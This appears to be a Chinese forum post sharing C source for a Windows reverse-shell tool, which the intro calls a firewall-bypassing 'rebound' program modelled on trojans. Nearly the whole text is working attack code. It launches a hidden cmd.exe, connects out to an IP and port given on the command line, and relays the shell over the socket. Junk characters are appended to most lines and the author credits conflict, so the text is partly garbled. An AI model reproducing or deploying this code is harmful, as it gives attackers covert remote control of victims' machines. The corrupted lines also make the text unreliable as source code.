这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 DJhb
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/* ============================== MQ][mMM;w
Rebound port in Windows NT j&6 jRX
By wind,2006/7 &;H{cv`
===============================*/ Iy
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#include ZeasYSo4P
#include $7I]`Jt
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#pragma comment(lib,"wsock32.lib") 9Z\z96O-
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void OutputShell(); xFp<7p
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SOCKET sClient; +-068k(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;~HNpu$
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void main(int argc,char **argv) oL/o*^
{ (U.**9b;
WSADATA stWsaData; Tc
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int nRet; E(+T*
SOCKADDR_IN stSaiClient,stSaiServer; )&W|QH=AI
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if(argc != 3) !^U6Z@&/R
{ {j(4m
printf("Useage:\n\rRebound DestIP DestPort\n"); X7aXxPCq1
return; 6(56,i<#/
} & %}/AoU
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2]jPv0u
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <D /a l9
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stSaiClient.sin_family = AF_INET; 1q~LA[6
stSaiClient.sin_port = htons(0); '\p;y7N
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); SqB/4P
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) UFZ"C,
{ 24@^{
}
printf("Bind Socket Failed!\n"); 1czG55 |
return; d5xxb _oE
} y[HQBv
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stSaiServer.sin_family = AF_INET; 7{BnXN[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); hd^x}iK"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G_oX5:J*
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |uha 38~
{ *Jnh";~b
printf("Connect Error!"); Md(JIlh3
return; q&M:17+:Q
} K_-MkY?+
OutputShell(); =mrY/:V
} LZWS^77
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void OutputShell() 6zYaA
{ (:?&G9k
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char szBuff[1024]; D?u`
SECURITY_ATTRIBUTES stSecurityAttributes; SfI*bJo>V
OSVERSIONINFO stOsversionInfo; 9G:TW|)L[Q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _%IqjJO{=r
STARTUPINFO stStartupInfo; rnvQ<671W
char *szShell; k8&FDz
PROCESS_INFORMATION stProcessInformation; Fe="EDh
unsigned long lBytesRead; g5R,% 6
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A o3HX
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gg8c7d:Q
stSecurityAttributes.lpSecurityDescriptor = 0; GJak.,0t
stSecurityAttributes.bInheritHandle = TRUE; *C_[jk@6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qc0 B<,x7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); atnQC
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); D9^7m
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oeNzHp_
stStartupInfo.wShowWindow = SW_HIDE; #\b ;2>
stStartupInfo.hStdInput = hReadPipe; agY5Dg7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WFh@%j
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GetVersionEx(&stOsversionInfo); 6GOg_P
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switch(stOsversionInfo.dwPlatformId) v' 0!= r
{ uYTCd ZQh
case 1: _<u;4RO(s
szShell = "command.com"; + zDc
break; Yq0# #__
default: X8b#[40:
szShell = "cmd.exe"; {bTeAfbf]
break; $I(}r3r
} ;C_ >
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *:#Z+7x
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send(sClient,szMsg,77,0); h2&y<Eg >
while(1) Vi,Y@+4
{ "UpOY
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,eK2I Ao
if(lBytesRead) q2Rf@nt
{ j)Lo'&Y~=
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;@!;1KDy
send(sClient,szBuff,lBytesRead,0); VKf6|ae
} BvI 0v:
else CXa Ld7nMX
{ sy.:T]ZH
lBytesRead=recv(sClient,szBuff,1024,0); cKpQr7]ur
if(lBytesRead<=0) break; AY@k-4
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @H4wHlb
} 82.HH5Z{
} gUb
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return; >Qk97we'9
}